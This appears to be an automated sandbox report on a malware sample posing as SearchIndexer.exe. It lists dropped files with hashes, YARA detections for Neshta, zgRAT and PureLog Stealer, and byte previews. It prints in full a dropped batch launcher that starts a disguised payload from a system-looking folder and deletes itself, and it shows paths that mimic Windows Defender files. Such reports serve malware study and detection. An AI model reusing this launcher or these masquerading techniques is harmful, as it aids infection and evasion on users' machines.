                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1309408
                                                                  Entropy (8bit):6.496342895106016
                                                                  Encrypted:false
                                                                  SSDEEP:24576:5+sGOL9NLM3r4Viwj6KLqGua43loEeUFmwv:54AA4eGua43lgUFrv
                                                                  MD5:B39DF380C20D63215708AA6263BE495F
                                                                  SHA1:4CE3BE7169E222E787A3E8238D53C32324981894
                                                                  SHA-256:36728B9A21D2A5927D9B4F5C02C0F5899DFB80ABD01F371342510DBBACFE2BCA
                                                                  SHA-512:42B087413B27B741EB2470A6C7F64571542B20AA43C5B29A43C290A3E83960DAEA82974F6C187DA70655B175D5FFBA3FF04608CF54F8832DB7ED2DA715DCACD6
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):922944
                                                                  Entropy (8bit):6.462019359288523
                                                                  Encrypted:false
                                                                  SSDEEP:12288:V9/Bro8OEYbhEdbsrg4Sxz2/Sl92ncG15fQ224i5pQ+poPCcqyt4:L/BrnYuqFcL3pQ+pDX
                                                                  MD5:A4A4D70FB8EFBD8702F5F5CA3F2225B7
                                                                  SHA1:3AB16972E6ECEE5162F4264AAB2B78AE5A6D9AFA
                                                                  SHA-256:C8D5E992C3F31B60874957E81FC5C419F569CBC8FC3EF57F84F42F7E742C9EEF
                                                                  SHA-512:92E72BCB8526AA833D6A8E5E77994C15ADABC50F8742C5075532FE281DD4F309827584868F0F19E659E90B4EAEB520F80EAB3116A14D6546DCC85973A638CEA8
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):692064
                                                                  Entropy (8bit):7.195091714831986
                                                                  Encrypted:false
                                                                  SSDEEP:12288:kskY7gjcjhVIEhqgM7bWvcsi6aVUfIy+U40vy3W/ceKSHMsiFyY6XNmnMwJ:ksZgjS1hqgSC/izkfFjymk4HM5yJwMK
                                                                  MD5:2BBCB1E61E3B17B7F89D97FA21A3881D
                                                                  SHA1:C90D9A55FFB5BD4FC7318B542DDE1F72A2341334
                                                                  SHA-256:A2606AED76695606C291929D55A32A5CE51A9981A1471E24A2F33FCC5B97037F
                                                                  SHA-512:657172F611FD934DA6DC59544043EF046948DC6052CFDA142008CB342E7264FC0701D7160B3D2774DA63B4354E9B967480FF0007A30DF9D83088842222C0A8B3
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RUNTIM~1.EXE.log

                                                                  Download File
                                                                  Process:C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe
                                                                  File Type:CSV text
                                                                  Category:dropped
                                                                  Size (bytes):847
                                                                  Entropy (8bit):5.354334472896228
                                                                  Encrypted:false
                                                                  SSDEEP:24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
                                                                  MD5:9F9FA9EFE67E9BBD165432FA39813EEA
                                                                  SHA1:6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
                                                                  SHA-256:4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
                                                                  SHA-512:F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

                                                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SEARCH~1.EXE.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:CSV text
                                                                  Category:dropped
                                                                  Size (bytes):847
                                                                  Entropy (8bit):5.354334472896228
                                                                  Encrypted:false
                                                                  SSDEEP:24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
                                                                  MD5:9F9FA9EFE67E9BBD165432FA39813EEA
                                                                  SHA1:6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
                                                                  SHA-256:4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
                                                                  SHA-512:F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

                                                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SearchIndexer.exe.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):1915
                                                                  Entropy (8bit):5.363869398054153
                                                                  Encrypted:false
                                                                  SSDEEP:48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHmHKlT4vHNpv:iqbYqGSI6oPtzHeqKktwmj0qV1GqZ4vb
                                                                  MD5:0C47412B6C6EF6C70D4B96E4717A5D3B
                                                                  SHA1:666FCC7898B52264D8A144600D7A3B0B59E39D66
                                                                  SHA-256:0B3F6655476FA555F55859443DE496AF7279529D291EF9745C22C5C283B648F9
                                                                  SHA-512:4E51FCBCA176BF9C5175478C23AE01445F13D9AC93771C7F73782AF9D98E8544A82BBFB5D3AA6E2F3ECF1EFB59A8466EB763A30BD795EFE78EE46429B2BEAC6C
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

                                                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\TAVTSO~1.EXE.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:CSV text
                                                                  Category:dropped
                                                                  Size (bytes):847
                                                                  Entropy (8bit):5.354334472896228
                                                                  Encrypted:false
                                                                  SSDEEP:24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
                                                                  MD5:9F9FA9EFE67E9BBD165432FA39813EEA
                                                                  SHA1:6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
                                                                  SHA-256:4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
                                                                  SHA-512:F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

                                                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tAVtSoJGTaCxrZiXcJn.exe.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:CSV text
                                                                  Category:dropped
                                                                  Size (bytes):847
                                                                  Entropy (8bit):5.354334472896228
                                                                  Encrypted:false
                                                                  SSDEEP:24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
                                                                  MD5:9F9FA9EFE67E9BBD165432FA39813EEA
                                                                  SHA1:6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
                                                                  SHA-256:4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
                                                                  SHA-512:F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):19253
                                                                  Entropy (8bit):5.005753878328145
                                                                  Encrypted:false
                                                                  SSDEEP:384:hrib4ZmVoGIpN6KQkj2Fkjh4iUxDhQIeQo+OdBANXp5yvOjJlYoaYpib47:hLmV3IpNBQkj2Uh4iUxDhiQo+OdBANZD
                                                                  MD5:81D32E8AE893770C4DEA5135D1D8E78D
                                                                  SHA1:CA54EF62836AEEAEDC9F16FF80FD2950B53FBA0D
                                                                  SHA-256:6A8BCF8BC8383C0DCF9AECA9948D91FD622458ECF7AF745858D0B07EFA9DCF89
                                                                  SHA-512:FDF4BE11A2FC7837E03FBEFECCDD32E554950E8DF3F89E441C1A7B1BC7D8DA421CEA06ED3E2DE90DDC9DA3E60166BA8C2262AFF30C3A7FFDE953BA17AE48BF9A
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:data
                                                                  Category:modified
                                                                  Size (bytes):64
                                                                  Entropy (8bit):1.1628158735648508
                                                                  Encrypted:false
                                                                  SSDEEP:3:NlllulLhwlz:NllUO
                                                                  MD5:F442CD24937ABD508058EA44FD91378E
                                                                  SHA1:FDE63CECA441AA1C5C9C401498F9032A23B38085
                                                                  SHA-256:E2960AF08E2EE7C9C72EEA31DBBFE1B55B9BF84DE2DD7BB7204487E6AF37B8F6
                                                                  SHA-512:927E2EEA0BB3FC3D3A0DA7F45644F594CE29F11D90A84B005D723500258DE9E8B3780EB87242F4C62B64B9FEEA1869FC16076FA3AC89EC34E0546CDE1BEF7631
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:@...e................................................@..........

                                                                  C:\Users\user\AppData\Local\Temp\2OAQNxRwkA

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                  Category:dropped
                                                                  Size (bytes):20480
                                                                  Entropy (8bit):0.5707520969659783
                                                                  Encrypted:false
                                                                  SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                  MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                  SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                  SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                  SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\3582-490\4a1145983886ca

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:ASCII text, with very long lines (803), with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):803
                                                                  Entropy (8bit):5.917521613540012
                                                                  Encrypted:false
                                                                  SSDEEP:12:uQU93TBEUzXdAgP1VIr1LVd2tlhCiOUea4PtqZupDNPHpq3QS9/JRBIgAdKTX:yl6UhIbqTOpP0ZupC3//JRBwor
                                                                  MD5:0AC153FF6A7CF18EF8E8C4B8B911118E
                                                                  SHA1:2E4C9C49E8274552FE32F47687C9F39149CC6CA9
                                                                  SHA-256:9E86093494D157A9B6FF80B8CFB32C963660D7DE4CD5689B620136377A21C62C
                                                                  SHA-512:EC2F5AB1224F3DC38136913D0B98B51542086A6B281298241B9726DD7B1CB125D23F00120069EDEFB4E8152B5CE6CFEAEDCCAB2D57C09F8CA794F66562AD5CC5
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:TJkG5CxqeFssxJYpseY4kNlq54FKMuvZMFqqpXlQnQd1kiF3uD8XqjNGh3KA6meuUTgscsAV3IQTtuGXyMaJvXsm1kIvMkTBwtgRCWaCCneiT3XxxxMuMV87l402kOISyPh9NzVbwYGH2JS8NU8ZYjyaviqHghcyeMuDVYj8cu7yO1Fbl1pPQt3ObGOpJN5O5RmpZPnzu97omAM3dOgo2MivSfmOK4zOyt26OZBWOzeQwPma4UM4rQVtt1X4mYo0Ksz2HPoDNKZCsR8C2LUzs5hhXJNXBHt0LoGEZtSppIqh0SBc2UBaDyIPLSf8CRBGaj1DL4mI3oKjOAqEIuerFTwWf02HOUnYHkGRb7R8r2hZojAKla0RwUAHwfiUBf4jBwbo3ZnKdg9MvXr60sgxdVlwj9f5Y66M88X2HVRLxpxQVyVZxleT8HFpKoF44rwhjwOx9zyebU9xiUbunGIwcnO12srcQWRF3QqikiZ7w92nHSHzMUQyj9E6iW4RIWOEC43Ro3KFqKAcuktkl1P5Gdf4LuANnHzavylNZzLTKKHZ9mL8nUqRGS7iY8F337cjUjq69gKvp6v5WG5jjBkSaiUd0CzauSaMshEZ5O9GJ5lKhBMRCfU1XJIwPNG6ruBXfiNzBgoUCdIf6J5yzhXO7jziYSKrHCZZ4Oo8yXQg09y3An0FSSGJWwZ6spatV7MAEtlre69cR0X7u6hvcEZz5PCHzsQJ7hK3xyyRCIkVSo2fYbLvHpQRiXEzqd2wq0fuqeK6IQsTdDhRWgsXgeCSQ3Uat9kjPyobJIz

                                                                  C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3704832
                                                                  Entropy (8bit):7.825322353352518
                                                                  Encrypted:false
                                                                  SSDEEP:98304:TzRppqmmRX+6fo6du/5P2nPNWNG5trztTgyz+65Wz:TzRppqVDqOnVWNG5bR+65Wz
                                                                  MD5:3E3FE7663181211E5983DA48431DDF33
                                                                  SHA1:0BEA67A96DBA0798541EA15426FB0AC38C10FF06
                                                                  SHA-256:CC398C54D30B3C0C1FF1D54F03FB157578346D088C9CE38FC6347698F25FC166
                                                                  SHA-512:80056C508DADE773729C239BD0B43D92C9E6D8DE513B19776BF28665E37E44D022FD6C5F33EBFA3FE31B9480CE0705E9581D872B8E79703931DA459D4F5922A0
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe, Author: Joe Security
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R.f..................8.........n.8.. ....8...@.. ........................8...........@................................. .8.K.....8. .....................8...................................................... ............... ..H............text...t~8.. ....8................. ..`.rsrc... .....8.......8.............@....reloc........8.......8.............@..B................P.8.....H...........................z.-...8......................................0..........(.... ........8........E....q...M.......)...8l...(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{h...9....& ....8z...*...0..>....... ........8........E....P...t...................8K...~....(E... .... .... ....s....~....(I....... ....~....{....:....& ....8....8O... ....~....{....:z...& ....8o......... ....~....{u...:U...& ....8J...r...ps....z*~....:.... .

                                                                  C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):256
                                                                  Entropy (8bit):5.313202065821398
                                                                  Encrypted:false
                                                                  SSDEEP:6:hCijTg3Nou1SV+DER5SMLUZEHSin0PgBvKOZG1wkn23fpf:HTg9uYDEfSMY6HSK0YBDfBf
                                                                  MD5:1F44B5A577A265F1F5FC6D1B307297E9
                                                                  SHA1:A35BE45C1C3946A5685E421398E9626855B0AE26
                                                                  SHA-256:69B848E1412D10D68352E73EB12A77390E82F39B8C4C7D57CB3B590A3EEB3D58
                                                                  SHA-512:45F68D6ED023DA987ADCC4F946E0EB719630AF95172AC6B660583849F094F4419DD76A591AB2355DCDE1148EAFB864EC588802AB7B8A9A8CA3E58B56BD3509CF
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\3vTESgZFSf.bat"

                                                                  C:\Users\user\AppData\Local\Temp\4KGYBRqWf0

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                  Category:dropped
                                                                  Size (bytes):40960
                                                                  Entropy (8bit):0.8553638852307782
                                                                  Encrypted:false
                                                                  SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                  MD5:28222628A3465C5F0D4B28F70F97F482
                                                                  SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                  SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                  SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\DUyuCDOEb2

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                  Category:dropped
                                                                  Size (bytes):28672
                                                                  Entropy (8bit):2.5793180405395284
                                                                  Encrypted:false
                                                                  SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                  MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                  SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                  SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                  SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\FMMHwpygAP

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                  Category:dropped
                                                                  Size (bytes):20480
                                                                  Entropy (8bit):0.5712781801655107
                                                                  Encrypted:false
                                                                  SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
